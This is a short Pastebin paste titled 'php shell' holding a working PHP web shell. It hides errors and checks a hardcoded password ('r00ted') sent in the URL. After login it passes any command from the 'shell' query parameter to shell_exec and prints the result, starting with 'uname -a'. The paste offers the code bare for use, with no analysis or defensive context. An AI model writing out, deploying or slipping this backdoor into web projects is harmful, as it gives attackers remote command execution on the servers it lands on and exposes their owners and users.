Advertisement
Guest User

php shell

a guest
Jan 17th, 2017
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.45 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4. session_start();
  5. //$password = $_GET[password];
  6. //$username = $_GET[username];
  7. //$pass = "password";
  8. //$user = "user";
  9.  
  10. if(empty(isset($_SESSION['pass']))){
  11.     if ($_GET['password'] == "r00ted")
  12.     {
  13.     $_SESSION['pass'] = $_GET['password'];
  14.     header("Location: ?shell=uname -a");
  15.     }
  16.     else
  17.     {
  18.         die("You Need to login with correct password");
  19.     }
  20. }else{
  21.     $print = shell_exec($_GET['shell']);
  22.     echo $print;
  23.     }
  24.  
  25. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement